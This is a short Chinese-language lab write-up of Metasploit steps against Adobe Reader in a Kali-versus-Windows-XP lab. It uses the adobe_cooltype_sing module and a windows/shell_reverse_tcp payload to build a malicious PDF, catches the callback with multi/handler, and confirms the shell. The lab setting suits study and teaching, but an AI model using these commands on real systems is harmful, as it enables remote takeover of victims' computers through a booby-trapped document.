Adobe阅读器渗透攻击
-
和之前一样kali攻击机和winxp靶机要ping通（真心是通的..不再重复了）；
-
由于之后生成的pdf在隐藏文件夹下，故在kali下打开显示隐藏文件，如下图：
-
kali开启msfconsole；
-
use exploit/windows/fileformat/adobe_cooltype_sing，进入该漏洞模块的使用。
-
用命令set payload windows/shell_reverse_tcp和之前一样设置参数；
和之前唯一不同的是，用命令set FILENAME 20145201.pdf来设置生成pdf的文件名
-
用命令exploit,生成pdf文件，根据显示的位置找到pdf文件，并复制到靶机里；
-
用命令back退出当前模块，并用命令use exploit/multi/handler建立一个监听模块，参数设置要和之前的一样；
-
exploit后，在xp中打开pdf，结果如下：
可以看到已经获取的靶机权限，20145201.pdf的文件是存在的~ -
在靶机中用命令netstat -an，可以看到kali攻击机和靶机之间是有tcp连接的。
